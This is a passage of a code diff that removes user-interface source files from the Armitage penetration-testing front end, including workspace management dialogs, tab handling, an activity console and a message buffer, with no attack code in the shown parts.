||||||
)));
|
|
||||||
}
|
|
||||||
|
|
||||||
return $files;
|
|
||||||
}
|
|
||||||
|
|
||||||
# parseTextTable("string", @(columns))
|
|
||||||
sub parseTextTable {
|
|
||||||
local('$cols $regex $line @results $template %r $row $col $matches');
|
|
||||||
|
|
||||||
# create the regex to hunt for our table...
|
|
||||||
$cols = copy($2);
|
|
||||||
map({ $1 = '(' . $1 . '\s+)'; }, $cols);
|
|
||||||
$cols[-1] = '(' . $2[-1] . '.*)';
|
|
||||||
$regex = join("", $cols);
|
|
||||||
|
|
||||||
# search for stuff
|
|
||||||
foreach $line (split("\n", $1)) {
|
|
||||||
$line = ["$line" trim];
|
|
||||||
|
|
||||||
if ($line ismatch $regex) {
|
|
||||||
# ok... construct a template to parse our fixed width rows.
|
|
||||||
$matches = matched();
|
|
||||||
map({ $1 = 'Z' . strlen($1); }, $matches);
|
|
||||||
$matches[-1] = 'Z*';
|
|
||||||
$template = join("", $matches);
|
|
||||||
}
|
|
||||||
else if ($line eq "" && $template !is $null) {
|
|
||||||
# oops, row is empty? we're done then...
|
|
||||||
return @results;
|
|
||||||
}
|
|
||||||
else if ($template !is $null && "---*" !iswm $line) {
|
|
||||||
# extract the row from the template and add to our results
|
|
||||||
$row = map({ return [$1 trim]; }, unpack($template, $line));
|
|
||||||
%r = %();
|
|
||||||
foreach $col ($2) {
|
|
||||||
%r[$col] = iff(size($row) > 0, shift($row), "");
|
|
||||||
}
|
|
||||||
push(@results, %r);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return @results;
|
|
||||||
}
|
|
||||||
|
|
||||||
sub initConsolePool {
|
|
||||||
local('$pool');
|
|
||||||
$pool = [new ConsolePool: $client];
|
|
||||||
[$client addHook: "console.allocate", $pool];
|
|
||||||
[$client addHook: "console.release", $pool];
|
|
||||||
[$client addHook: "console.release_and_destroy", $pool];
|
|
||||||
}
|
|
||||||
|
|
||||||
sub fixPass {
|
|
||||||
return replace(strrep($1, '\\', '\\\\'), '(\p{Punct})', '\\\\$1');
|
|
||||||
}
|
|
||||||
|
|
|
@ -1,239 +0,0 @@
|
||||||
#
|
|
||||||
# CRUD for Dynamic Workspaces
|
|
||||||
#
|
|
||||||
|
|
||||||
import msf.*;
|
|
||||||
import java.awt.*;
|
|
||||||
import java.io.*;
|
|
||||||
import java.net.*;
|
|
||||||
import javax.swing.*;
|
|
||||||
import javax.imageio.*;
|
|
||||||
import ui.*;
|
|
||||||
|
|
||||||
sub newWorkspace {
|
|
||||||
workspaceDialog(%(), @($1, $2), $title => "New Workspace", $button => "Add", $enable => 1);
|
|
||||||
}
|
|
||||||
|
|
||||||
sub editWorkspace {
|
|
||||||
workspaceDialog($1, @($2, $3), $title => "Edit Workspace", $button => "Save", $enable => $null);
|
|
||||||
}
|
|
||||||
|
|
||||||
sub updateWorkspaceList {
|
|
||||||
local('$table $model $workspace');
|
|
||||||
($table, $model) = @_;
|
|
||||||
[$model clear: 16];
|
|
||||||
foreach $workspace (workspaces()) {
|
|
||||||
[$model addEntry: $workspace];
|
|
||||||
}
|
|
||||||
[$model fireListeners];
|
|
||||||
}
|
|
||||||
|
|
||||||
sub listWorkspaces {
|
|
||||||
local('$dialog $table $model $add $edit $delete $activate');
|
|
||||||
$dialog = [new JPanel];
|
|
||||||
[$dialog setLayout: [new BorderLayout]];
|
|
||||||
|
|
||||||
($table, $model) = setupTable("name", @("name", "hosts", "ports", "os", "labels", "session"), @());
|
|
||||||
updateWorkspaceList($table, $model);
|
|
||||||
[$table setSelectionMode: [ListSelectionModel MULTIPLE_INTERVAL_SELECTION]];
|
|
||||||
|
|
||||||
[$dialog add: [new JScrollPane: $table], [BorderLayout CENTER]];
|
|
||||||
|
|
||||||
$activate = [new JButton: "Activate"];
|
|
||||||
$add = [new JButton: "Add"];
|
|
||||||
$edit = [new JButton: "Edit"];
|
|
||||||
$delete = [new JButton: "Remove"];
|
|
||||||
|
|
||||||
[$add addActionListener: lambda({
|
|
||||||
newWorkspace($table, $model);
|
|
||||||
}, \$table, \$model)];
|
|
||||||
|
|
||||||
[$activate addActionListener: lambda({
|
|
||||||
local('$sel $temp');
|
|
||||||
$sel = selected($table, $model, "name");
|
|
||||||
set_workspace($sel);
|
|
||||||
}, \$table, \$model)];
|
|
||||||
|
|
||||||
[$delete addActionListener: lambda({
|
|
||||||
local('%names $workspace @workspaces');
|
|
||||||
putAll(%names, [$model getSelectedValues: $table], { return 1; });
|
|
||||||
@workspaces = workspaces();
|
|
||||||
foreach $workspace (@workspaces) {
|
|
||||||
if ($workspace['name'] in %names) {
|
|
||||||
remove();
|
|
||||||
}
|
|
||||||
}
|
|
||||||
saveWorkspaces(@workspaces);
|
|
||||||
updateWorkspaceList($table, $model);
|
|
||||||
}, \$table, \$model)];
|
|
||||||
|
|
||||||
[$edit addActionListener: lambda({
|
|
||||||
local('$sel $temp');
|
|
||||||
$sel = selected($table, $model, "name");
|
|
||||||
|
|
||||||
$temp = search(workspaces(), lambda({
|
|
||||||
return iff($1["name"] eq $name, $1);
|
|
||||||
}, $name => $sel));
|
|
||||||
|
|
||||||
if ($temp !is $null) {
|
|
||||||
editWorkspace($temp, $table, $model);
|
|
||||||
}
|
|
||||||
}, \$table, \$model)];
|
|
||||||
|
|
||||||
[$dialog add: center($activate, $add, $edit, $delete), [BorderLayout SOUTH]];
|
|
||||||
[$frame addTab: "Workspaces", $dialog, $null];
|
|
||||||
}
|
|
||||||
|
|
||||||
sub workspaceDialog {
|
|
||||||
local('$table $model');
|
|
||||||
($table, $model) = $2;
|
|
||||||
|
|
||||||
local('$dialog $name $host $ports $os $button $session $label');
|
|
||||||
$dialog = dialog($title, 640, 480);
|
|
||||||
[$dialog setLayout: [new GridLayout: 7, 1]];
|
|
||||||
|
|
||||||
$name = [new ATextField: $1['name'], 16];
|
|
||||||
[$name setEnabled: $enable];
|
|
||||||
$host = [new ATextField: $1['hosts'], 16];
|
|
||||||
$ports = [new ATextField: $1['ports'], 16];
|
|
||||||
$os = [new ATextField: $1['os'], 16];
|
|
||||||
$label = [new ATextField: $1['labels'], 16];
|
|
||||||
$session = [new JCheckBox: "Hosts with sessions only"];
|
|
||||||
if ($1['session'] eq 1) {
|
|
||||||
[$session setSelected: 1];
|
|
||||||
}
|
|
||||||
|
|
||||||
$button = [new JButton: $button];
|
|
||||||
|
|
||||||
[$dialog add: label_for("Name:", 60, $name)];
|
|
||||||
[$dialog add: label_for("Hosts:", 60, $host)];
|
|
||||||
[$dialog add: label_for("Ports:", 60, $ports)];
|
|
||||||
[$dialog add: label_for("OS:", 60, $os)];
|
|
||||||
[$dialog add: label_for("Labels:", 60, $label)];
|
|
||||||
[$dialog add: $session];
|
|
||||||
|
|
||||||
[$dialog add: center($button)];
|
|
||||||
[$dialog pack];
|
|
||||||
[$dialog show];
|
|
||||||
|
|
||||||
[$button addActionListener: lambda({
|
|
||||||
# yay, we have a dialog...
|
|
||||||
local('$n $h $p $o $s $l @workspaces $ws $temp');
|
|
||||||
$n = [[$name getText] trim];
|
|
||||||
$h = [strrep([$host getText], '*', '%', '?', '_') trim];
|
|
||||||
$p = [[$ports getText] trim];
|
|
||||||
$o = [strrep([$os getText], '*', '%', '?', '_') trim];
|
|
||||||
$l = [[$label getText] trim];
|
|
||||||
$s = [$session isSelected];
|
|
||||||
|
|
||||||
# save the new menu
|
|
||||||
$ws = workspace($n, $h, $p, $o, $s, $l);
|
|
||||||
@workspaces = workspaces();
|
|
||||||
foreach $temp (@workspaces) {
|
|
||||||
if ($temp["name"] eq $n) {
|
|
||||||
$temp = $ws;
|
|
||||||
$ws = $null;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
if ($ws !is $null) {
|
|
||||||
push(@workspaces, $ws);
|
|
||||||
}
|
|
||||||
saveWorkspaces(@workspaces);
|
|
||||||
updateWorkspaceList($table, $model);
|
|
||||||
|
|
||||||
[$dialog setVisible: 0];
|
|
||||||
}, \$dialog, \$host, \$ports, \$os, \$name, \$session, \$table, \$model, \$label)];
|
|
||||||
}
|
|
||||||
|
|
||||||
sub reset_workspace {
|
|
||||||
[$frame setTitle: $TITLE];
|
|
||||||
thread({
|
|
||||||
call($mclient, "db.filter", %());
|
|
||||||
});
|
|
||||||
}
|
|
||||||
|
|
||||||
sub client_workspace_items {
|
|
||||||
local('$index $workspace');
|
|
||||||
|
|
||||||
item($1, 'Manage', 'M', {
|
|
||||||
listWorkspaces();
|
|
||||||
});
|
|
||||||
|
|
||||||
separator($1);
|
|
||||||
|
|
||||||
item($1, "Show All", "S", &reset_workspace);
|
|
||||||
|
|
||||||
local('$x $y $workspace $name $title');
|
|
||||||
$title = [$frame getTitle];
|
|
||||||
foreach $y => $workspace (workspaces()) {
|
|
||||||
$x = $y + 1;
|
|
||||||
$name = $workspace['name'];
|
|
||||||
|
|
||||||
if ($title eq "$TITLE - $name") {
|
|
||||||
item($1, "$x $+ . $+ $name *", $x, lambda({
|
|
||||||
set_workspace($name);
|
|
||||||
}, \$name));
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
item($1, "$x $+ . $+ $name", $x, lambda({
|
|
||||||
set_workspace($name);
|
|
||||||
}, \$name));
|
|
||||||
}
|
|
||||||
|
|
||||||
# setup a keyboard shortcut for this workspace...
|
|
||||||
[$frame bindKey: "Ctrl+ $+ $x", lambda({
|
|
||||||
set_workspace($name);
|
|
||||||
}, \$name)];
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
sub set_workspace {
|
|
||||||
local('$x $workspace');
|
|
||||||
foreach $x => $workspace (workspaces()) {
|
|
||||||
if ($workspace['name'] eq $1) {
|
|
||||||
thread(lambda({
|
|
||||||
call($mclient, "db.filter", $workspace);
|
|
||||||
}, \$workspace));
|
|
||||||
[$frame setTitle: "$TITLE - $1"];
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
sub workspace {
|
|
||||||
return ohash(name => $1, hosts => $2, ports => $3, os => $4, session => $5, labels => $6);
|
|
||||||
}
|
|
||||||
|
|
||||||
sub workspaces {
|
|
||||||
local('$ws @r $name $host $port $os $session $workspace $label');
|
|
||||||
$ws = split("!!", [$preferences getProperty: "armitage.workspaces.menus", ""]);
|
|
||||||
foreach $workspace ($ws) {
|
|
||||||
if ($workspace ne "") {
|
|
||||||
($name, $host, $port, $os, $session, $label) = split('@@', $workspace);
|
|
||||||
push(@r, workspace($name, $host, $port, $os, $session, $label));
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return @r;
|
|
||||||
}
|
|
||||||
|
|
||||||
sub saveWorkspaces {
|
|
||||||
[$preferences setProperty: "armitage.workspaces.menus", join("!!", map({ return join("@@", values($1)); }, $1))];
|
|
||||||
savePreferences();
|
|
||||||
setupWorkspaceShortcuts($1);
|
|
||||||
}
|
|
||||||
|
|
||||||
sub setupWorkspaceShortcuts {
|
|
||||||
local('$x $y $workspace $name');
|
|
||||||
foreach $y => $workspace ($1) {
|
|
||||||
$name = $workspace['name'];
|
|
||||||
$x = $y + 1;
|
|
||||||
|
|
||||||
# setup a keyboard shortcut for this workspace...
|
|
||||||
[$frame bindKey: "Ctrl+ $+ $x", lambda({
|
|
||||||
set_workspace($name);
|
|
||||||
}, \$name)];
|
|
||||||
}
|
|
||||||
|
|
||||||
[$frame bindKey: "Ctrl+Backspace", &reset_workspace];
|
|
||||||
}
|
|
|
@ -1,8 +0,0 @@
|
||||||
package armitage;
|
|
||||||
|
|
||||||
import javax.swing.JLabel;
|
|
||||||
|
|
||||||
public interface Activity {
|
|
||||||
public void registerLabel(JLabel label);
|
|
||||||
public void resetNotification();
|
|
||||||
}
|
|
|
@ -1,41 +0,0 @@
|
||||||
package armitage;
|
|
||||||
|
|
||||||
import javax.swing.*;
|
|
||||||
import javax.swing.event.*;
|
|
||||||
import javax.swing.border.*;
|
|
||||||
import javax.swing.text.*;
|
|
||||||
|
|
||||||
import java.awt.*;
|
|
||||||
import java.awt.event.*;
|
|
||||||
|
|
||||||
import java.io.PrintStream;
|
|
||||||
|
|
||||||
import java.util.*;
|
|
||||||
|
|
||||||
import console.*;
|
|
||||||
|
|
||||||
/** A generic multi-feature console for use in the Armitage network attack tool */
|
|
||||||
public class ActivityConsole extends Console implements Activity {
|
|
||||||
protected JLabel label;
|
|
||||||
protected Color original;
|
|
||||||
public void registerLabel(JLabel l) {
|
|
||||||
label = l;
|
|
||||||
original = l.getForeground();
|
|
||||||
}
|
|
||||||
|
|
||||||
public void resetNotification() {
|
|
||||||
label.setForeground(original);
|
|
||||||
}
|
|
||||||
|
|
||||||
protected void appendToConsole(String _text) {
|
|
||||||
super.appendToConsole(_text);
|
|
||||||
|
|
||||||
if (_text.length() > 0 && label != null && !isShowing()) {
|
|
||||||
label.setForeground(Color.decode(display.getProperty("tab.highlight.color", "#0000ff")));
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
public ActivityConsole(Properties preferences) {
|
|
||||||
super(preferences);
|
|
||||||
}
|
|
||||||
}
|
|
|
@ -1,421 +0,0 @@
|
||||||
package armitage;
|
|
||||||
|
|
||||||
import javax.swing.*;
|
|
||||||
import javax.swing.event.*;
|
|
||||||
import java.awt.image.*;
|
|
||||||
|
|
||||||
import java.awt.*;
|
|
||||||
import java.awt.event.*;
|
|
||||||
|
|
||||||
import java.util.*;
|
|
||||||
|
|
||||||
import cortana.gui.MenuBuilder;
|
|
||||||
|
|
||||||
import ui.*;
|
|
||||||
|
|
||||||
public class ArmitageApplication extends JComponent {
|
|
||||||
protected JTabbedPane tabs = null;
|
|
||||||
protected JSplitPane split = null;
|
|
||||||
protected JMenuBar menus = new JMenuBar();
|
|
||||||
protected ScreenshotManager screens = null;
|
|
||||||
protected KeyBindings keys = new KeyBindings();
|
|
||||||
protected MenuBuilder builder = null;
|
|
||||||
protected String title = "";
|
|
||||||
protected MultiFrame window = null;
|
|
||||||
|
|
||||||
public KeyBindings getBindings() {
|
|
||||||
return keys;
|
|
||||||
}
|
|
||||||
|
|
||||||
public void setTitle(String title) {
|
|
||||||
this.title = title;
|
|
||||||
window.setTitle(this, title);
|
|
||||||
}
|
|
||||||
|
|
||||||
public String getTitle() {
|
|
||||||
return title;
|
|
||||||
}
|
|
||||||
|
|
||||||
public void setIconImage(Image blah) {
|
|
||||||
window.setIconImage(blah);
|
|
||||||
}
|
|
||||||
|
|
||||||
public void setScreenshotManager(ScreenshotManager m) {
|
|
||||||
screens = m;
|
|
||||||
}
|
|
||||||
|
|
||||||
public void installMenu(MouseEvent ev, String key, Stack args) {
|
|
||||||
if (builder == null) {
|
|
||||||
System.err.println("Menu builder was never installed! " + key);
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
|
|
||||||
builder.installMenu(ev, key, args);
|
|
||||||
}
|
|
||||||
|
|
||||||
public void setupMenu(JComponent parent, String key, Stack args) {
|
|
||||||
if (builder == null) {
|
|
||||||
System.err.println("Menu builder was never installed! " + key);
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
|
|
||||||
builder.setupMenu(parent, key, args);
|
|
||||||
}
|
|
||||||
|
|
||||||
public void setMenuBuilder(MenuBuilder b) {
|
|
||||||
System.err.println("Setting up menu builder: " + b);
|
|
||||||
builder = b;
|
|
||||||
}
|
|
||||||
|
|
||||||
public void bindKey(String description, KeyHandler b) {
|
|
||||||
keys.bind(description, b);
|
|
||||||
}
|
|
||||||
|
|
||||||
public void addMenu(JMenuItem menu) {
|
|
||||||
menus.add(menu);
|
|
||||||
}
|
|
||||||
|
|
||||||
public JMenuBar getJMenuBar() {
|
|
||||||
return menus;
|
|
||||||
}
|
|
||||||
|
|
||||||
public void _removeTab(JComponent component) {
|
|
||||||
tabs.remove(component);
|
|
||||||
tabs.validate();
|
|
||||||
}
|
|
||||||
|
|
||||||
public void removeTab(final JComponent tab) {
|
|
||||||
if (SwingUtilities.isEventDispatchThread()) {
|
|
||||||
_removeTab(tab);
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
SwingUtilities.invokeLater(new Runnable() {
|
|
||||||
public void run() {
|
|
||||||
_removeTab(tab);
|
|
||||||
}
|
|
||||||
});
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
public void setTop(final JComponent top) {
|
|
||||||
if (SwingUtilities.isEventDispatchThread()) {
|
|
||||||
_setTop(top);
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
SwingUtilities.invokeLater(new Runnable() {
|
|
||||||
public void run() {
|
|
||||||
_setTop(top);
|
|
||||||
}
|
|
||||||
});
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
public void _setTop(JComponent top) {
|
|
||||||
split.setTopComponent(top);
|
|
||||||
split.setDividerLocation(0.50);
|
|
||||||
split.setResizeWeight(0.50);
|
|
||||||
split.revalidate();
|
|
||||||
}
|
|
||||||
|
|
||||||
public void nextTab() {
|
|
||||||
tabs.setSelectedIndex((tabs.getSelectedIndex() + 1) % tabs.getTabCount());
|
|
||||||
}
|
|
||||||
|
|
||||||
public void previousTab() {
|
|
||||||
if (tabs.getSelectedIndex() == 0) {
|
|
||||||
tabs.setSelectedIndex(tabs.getTabCount() - 1);
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
tabs.setSelectedIndex((tabs.getSelectedIndex() - 1) % tabs.getTabCount());
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
public void addTab(final String title, final JComponent tab, final ActionListener removeListener) {
|
|
||||||
if (SwingUtilities.isEventDispatchThread()) {
|
|
||||||
_addTab(title, tab, removeListener, null);
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
SwingUtilities.invokeLater(new Runnable() {
|
|
||||||
public void run() {
|
|
||||||
_addTab(title, tab, removeListener, null);
|
|
||||||
}
|
|
||||||
});
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
public void addTab(final String title, final JComponent tab, final ActionListener removeListener, final String tooltip) {
|
|
||||||
if (SwingUtilities.isEventDispatchThread()) {
|
|
||||||
_addTab(title, tab, removeListener, tooltip);
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
SwingUtilities.invokeLater(new Runnable() {
|
|
||||||
public void run() {
|
|
||||||
_addTab(title, tab, removeListener, tooltip);
|
|
||||||
}
|
|
||||||
});
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
private static class ApplicationTab {
|
|
||||||
public String title;
|
|
||||||
public JComponent component;
|
|
||||||
public ActionListener removeListener;
|
|
||||||
|
|
||||||
public String toString() {
|
|
||||||
return title;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
protected LinkedList apptabs = new LinkedList();
|
|
||||||
|
|
||||||
public void closeActiveTab() {
|
|
||||||
JComponent tab = (JComponent)tabs.getSelectedComponent();
|
|
||||||
if (tab != null) {
|
|
||||||
removeAppTab(tab, null, new ActionEvent(tab, 0, "boo!"));
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
public void openActiveTab() {
|
|
||||||
JComponent tab = (JComponent)tabs.getSelectedComponent();
|
|
||||||
if (tab != null) {
|
|
||||||
popAppTab(tab);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
public void snapActiveTab() {
|
|
||||||
JComponent tab = (JComponent)tabs.getSelectedComponent();
|
|
||||||
Iterator i = apptabs.iterator();
|
|
||||||
while (i.hasNext()) {
|
|
||||||
ApplicationTab t = (ApplicationTab)i.next();
|
|
||||||
if (t.component == tab) {
|
|
||||||
snapAppTab(t.title, tab);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
public void addAppTab(String title, JComponent component, ActionListener removeListener) {
|
|
||||||
ApplicationTab t = new ApplicationTab();
|
|
||||||
t.title = title;
|
|
||||||
t.component = component;
|
|
||||||
t.removeListener = removeListener;
|
|
||||||
apptabs.add(t);
|
|
||||||
}
|
|
||||||
|
|
||||||
public void popAppTab(Component tab) {
|
|
||||||
Iterator i = apptabs.iterator();
|
|
||||||
while (i.hasNext()) {
|
|
||||||
final ApplicationTab t = (ApplicationTab)i.next();
|
|
||||||
if (t.component == tab) {
|
|
||||||
tabs.remove(t.component);
|
|
||||||
i.remove();
|
|
||||||
|
|
||||||
/* pop goes the tab! */
|
|
||||||
final JFrame r = new JFrame(t.title);
|
|
||||||
//r.setIconImages(getIconImages());
|
|
||||||
r.setLayout(new BorderLayout());
|
|
||||||
r.add(t.component, BorderLayout.CENTER);
|
|
||||||
r.pack();
|
|
||||||
t.component.validate();
|
|
||||||
|
|
||||||
r.addWindowListener(new WindowAdapter() {
|
|
||||||
public void windowClosing(WindowEvent ev) {
|
|
||||||
if (t.removeListener != null)
|
|
||||||
t.removeListener.actionPerformed(new ActionEvent(ev.getSource(), 0, "close"));
|
|
||||||
}
|
|
||||||
|
|
||||||
public void windowOpened(WindowEvent ev) {
|
|
||||||
r.setState(JFrame.NORMAL);
|
|
||||||
t.component.requestFocusInWindow();
|
|
||||||
}
|
|
||||||
|
|
||||||
public void windowActivated(WindowEvent ev) {
|
|
||||||
t.component.requestFocusInWindow();
|
|
||||||
}
|
|
||||||
});
|
|
||||||
|
|
||||||
r.setState(JFrame.ICONIFIED);
|
|
||||||
r.setVisible(true);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
public void snapAppTab(String title, Component tab) {
|
|
||||||
/* capture the current tab in an image */
|
|
||||||
BufferedImage image = new BufferedImage(tab.getWidth(), tab.getHeight(), BufferedImage.TYPE_4BYTE_ABGR);
|
|
||||||
Graphics g = image.getGraphics();
|
|
||||||
tab.paint(g);
|
|
||||||
g.dispose();
|
|
||||||
|
|
||||||
if (screens != null) {
|
|
||||||
screens.saveScreenshot(image, title);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
public void removeAppTab(Component tab, String title, ActionEvent ev) {
|
|
||||||
Iterator i = apptabs.iterator();
|
|
||||||
String titleshort = title != null ? title.split(" ")[0] : "%b%";
|
|
||||||
while (i.hasNext()) {
|
|
||||||
ApplicationTab t = (ApplicationTab)i.next();
|
|
||||||
String tshort = t.title != null ? t.title.split(" ")[0] : "%a%";
|
|
||||||
if (t.component == tab || tshort.equals(titleshort)) {
|
|
||||||
tabs.remove(t.component);
|
|
||||||
|
|
||||||
if (t.removeListener != null)
|
|
||||||
t.removeListener.actionPerformed(ev);
|
|
||||||
|
|
||||||
i.remove();
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
public void _addTab(final String title, final JComponent tab, final ActionListener removeListener, final String tooltip) {
|
|
||||||
final Component component = tabs.add("", tab);
|
|
||||||
final JLabel label = new JLabel(title + " ");
|
|
||||||
|
|
||||||
JPanel control = new JPanel();
|
|
||||||
control.setOpaque(false);
|
|
||||||
control.setLayout(new BorderLayout());
|
|
||||||
control.add(label, BorderLayout.CENTER);
|
|
||||||
|
|
||||||
if (tab instanceof Activity) {
|
|
||||||
((Activity)tab).registerLabel(label);
|
|
||||||
}
|
|
||||||
|
|
||||||
JButton close = new JButton("X");
|
|
||||||
close.setOpaque(false);
|
|
||||||
close.setContentAreaFilled(false);
|
|
||||||
close.setBorder(BorderFactory.createEmptyBorder(0, 0, 0, 0));
|
|
||||||
control.add(close, BorderLayout.EAST);
|
|
||||||
|
|
||||||
if (tooltip != null) {
|
|
||||||
close.setToolTipText(tooltip);
|
|
||||||
}
|
|
||||||
|
|
||||||
int index = tabs.indexOfComponent(component);
|
|
||||||
tabs.setTabComponentAt(index, control);
|
|
||||||
|
|
||||||
addAppTab(title, tab, removeListener);
|
|
||||||
|
|
||||||
close.addMouseListener(new MouseAdapter() {
|
|
||||||
public void check(MouseEvent ev) {
|
|
||||||
if (ev.isPopupTrigger()) {
|
|
||||||
JPopupMenu menu = new JPopupMenu();
|
|
||||||
|
|
||||||
JMenuItem a = new JMenuItem("Open in window", 'O');
|
|
||||||
a.addActionListener(new ActionListener() {
|
|
||||||
public void actionPerformed(ActionEvent ev) {
|
|
||||||
popAppTab(component);
|
|
||||||
}
|
|
||||||
});
|
|
||||||
|
|
||||||
JMenuItem b = new JMenuItem("Close like tabs", 'C');
|
|
||||||
b.addActionListener(new ActionListener() {
|
|
||||||
public void actionPerformed(ActionEvent ev) {
|
|
||||||
removeAppTab(null, title, ev);
|
|
||||||
}
|
|
||||||
});
|
|
||||||
|
|
||||||
JMenuItem c = new JMenuItem("Save screenshot", 'S');
|
|
||||||
c.addActionListener(new ActionListener() {
|
|
||||||
public void actionPerformed(ActionEvent ev) {
|
|
||||||
snapAppTab(title, tab);
|
|
||||||
}
|
|
||||||
});
|
|
||||||
|
|
||||||
JMenuItem d = new JMenuItem("Rename Tab", 'R');
|
|
||||||
d.addActionListener(new ActionListener() {
|
|
||||||
public void actionPerformed(ActionEvent ev) {
|
|
||||||
String text = JOptionPane.showInputDialog("Rename tab to:", (label.getText() + "").trim());
|
|
||||||
if (text != null)
|
|
||||||
label.setText(text + " ");
|
|
||||||
}
|
|
||||||
});
|
|
||||||
|
|
||||||
menu.add(a);
|
|
||||||
menu.add(c);
|
|
||||||
menu.add(d);
|
|
||||||
menu.addSeparator();
|
|
||||||
menu.add(b);
|
|
||||||
|
|
||||||
menu.show((Component)ev.getSource(), ev.getX(), ev.getY());
|
|
||||||
ev.consume();
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
public void mouseClicked(MouseEvent ev) {
|
|
||||||
check(ev);
|
|
||||||
}
|
|
||||||
|
|
||||||
public void mousePressed(MouseEvent ev) {
|
|
||||||
check(ev);
|
|
||||||
}
|
|
||||||
|
|
||||||
public void mouseReleased(MouseEvent ev) {
|
|
||||||
check(ev);
|
|
||||||
}
|
|
||||||
});
|
|
||||||
|
|
||||||
close.addActionListener(new ActionListener() {
|
|
||||||
public void actionPerformed(ActionEvent ev) {
|
|
||||||
if ((ev.getModifiers() & ActionEvent.CTRL_MASK) == ActionEvent.CTRL_MASK) {
|
|
||||||
popAppTab(component);
|
|
||||||
}
|
|
||||||
else if ((ev.getModifiers() & ActionEvent.SHIFT_MASK) == ActionEvent.SHIFT_MASK) {
|
|
||||||
removeAppTab(null, title, ev);
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
removeAppTab(component, null, ev);
|
|
||||||
}
|
|
||||||
System.gc();
|
|
||||||
}
|
|
||||||
});
|
|
||||||
|
|
||||||
component.addComponentListener(new ComponentAdapter() {
|
|
||||||
public void componentShown(ComponentEvent ev) {
|
|
||||||
if (component instanceof Activity) {
|
|
||||||
((Activity)component).resetNotification();
|
|
||||||
}
|
|
||||||
|
|
||||||
component.requestFocusInWindow();
|
|
||||||
System.gc();
|
|
||||||
}
|
|
||||||
});
|
|
||||||
|
|
||||||
tabs.setSelectedIndex(index);
|
|
||||||
component.requestFocusInWindow();
|
|
||||||
}
|
|
||||||
|
|
||||||
public void touch() {
|
|
||||||
Component c = tabs.getSelectedComponent();
|
|
||||||
if (c == null)
|
|
||||||
return;
|
|
||||||
|
|
||||||
if (c instanceof Activity)
|
|
||||||
((Activity)c).resetNotification();
|
|
||||||
|
|
||||||
c.requestFocusInWindow();
|
|
||||||
}
|
|
||||||
|
|
||||||
public ArmitageApplication(MultiFrame f, String details, msf.RpcConnection conn) {
|
|
||||||
super();
|
|
||||||
window = f;
|
|
||||||
tabs = new DraggableTabbedPane();
|
|
||||||
setLayout(new BorderLayout());
|
|
||||||
|
|
||||||
/* place holder */
|
|
||||||
JPanel panel = new JPanel();
|
|
||||||
|
|
||||||
/* add our menubar */
|
|
||||||
add(menus, BorderLayout.NORTH);
|
|
||||||
|
|
||||||
split = new JSplitPane(JSplitPane.VERTICAL_SPLIT, panel, tabs);
|
|
||||||
split.setOneTouchExpandable(true);
|
|
||||||
|
|
||||||
/* add our tabbed pane */
|
|
||||||
add(split, BorderLayout.CENTER);
|
|
||||||
|
|
||||||
/* ... */
|
|
||||||
//setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
|
|
||||||
((ui.MultiFrame)window).addButton(details, this, conn);
|
|
||||||
}
|
|
||||||
}
|
|
|
@ -1,138 +0,0 @@
|
||||||
package armitage;
|
|
||||||
|
|
||||||
import java.util.*;
|
|
||||||
|
|
||||||
/*
|
|
||||||
* Implement a thread safe store that any client may write to and
|
|
||||||
* any client may read from (keeping track of their cursor into
|
|
||||||
* the console)
|
|
||||||
*/
|
|
||||||
public class ArmitageBuffer {
|
|
||||||
private static final class Message {
|
|
||||||
public String message = null;
|
|
||||||
public Message next = null;
|
|
||||||
}
|
|
||||||
|
|
||||||
/* store our messages... */
|
|
||||||
public Message first = null;
|
|
||||||
public Message last = null;
|
|
||||||
public long size = 0;
|
|
||||||
public long max = 0;
|
|
||||||
public String prompt = "";
|
|
||||||
|
|
||||||
/* store indices into this buffer */
|
|
||||||
public Map indices = new HashMap();
|
|
||||||
|
|
||||||
/* setup the buffer?!? :) */
|
|
||||||
public ArmitageBuffer(long max) {
|
|
||||||
this.max = max;
|
|
||||||
}
|
|
||||||
|
|
||||||
/* store a prompt with this buffer... we're not going to do any indexing magic for now */
|
|
||||||
public String getPrompt() {
|
|
||||||
synchronized (this) {
|
|
||||||
return prompt;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
/* set the prompt */
|
|
||||||
public void setPrompt(String text) {
|
|
||||||
synchronized (this) {
|
|
||||||
prompt = text;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
/* post a message to this buffer */
|
|
||||||
public void put(String text) {
|
|
||||||
synchronized (this) {
|
|
||||||
/* create our message */
|
|
||||||
Message m = new Message();
|
|
||||||
m.message = text;
|
|
||||||
|
|
||||||
/* store our message */
|
|
||||||
if (last == null && first == null) {
|
